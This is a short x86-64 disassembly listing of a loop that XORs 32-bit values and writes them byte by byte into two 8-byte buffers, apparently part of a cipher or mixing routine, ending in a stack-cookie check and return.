lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x28]
call fcn.14014bd90
mov rcx, r15
call fcn.14014f6b0
lea rdx, [rsp + 0x30]
mov rcx, r15
call fcn.14014f050
mov r8d, 1
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.14014bd90
mov r8d, dword [rsp + 0x20]
mov edx, dword [rsp + 0x24]
xor r8d, edi
xor edi, dword [rsp + 0x28]
xor edx, esi
xor esi, dword [rsp + 0x2c]
mov eax, edi
mov byte [r14], dil
shr eax, 8
mov byte [r14 + 1], al
mov eax, edi
shr eax, 0x10
mov byte [r14 + 2], al
mov eax, edx
shr eax, 8
shr edi, 0x18
mov byte [r14 + 3], dil
mov byte [r14 + 4], dl
mov byte [r14 + 5], al
mov eax, edx
shr eax, 0x10
mov byte [r14 + 6], al
mov eax, r8d
shr eax, 8
shr edx, 0x18
mov byte [r14 + 7], dl
mov byte [r15], r8b
mov byte [r15 + 1], al
mov eax, r8d
shr eax, 0x10
mov byte [r15 + 2], al
shr r8d, 0x18
mov byte [r15 + 3], r8b
mov byte [r15 + 4], sil
mov eax, esi
shr eax, 8
mov byte [r15 + 5], al
mov eax, esi
shr eax, 0x10
shr esi, 0x18
mov byte [r15 + 6], al
mov byte [r15 + 7], sil
sub rbp, 1
jne 0x140169460
mov r15, qword [rsp + 0xc0]
mov r14, qword [rsp + 0xc8]
mov rdi, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1401c4e20
add rsp, 0xd0
pop rbx
ret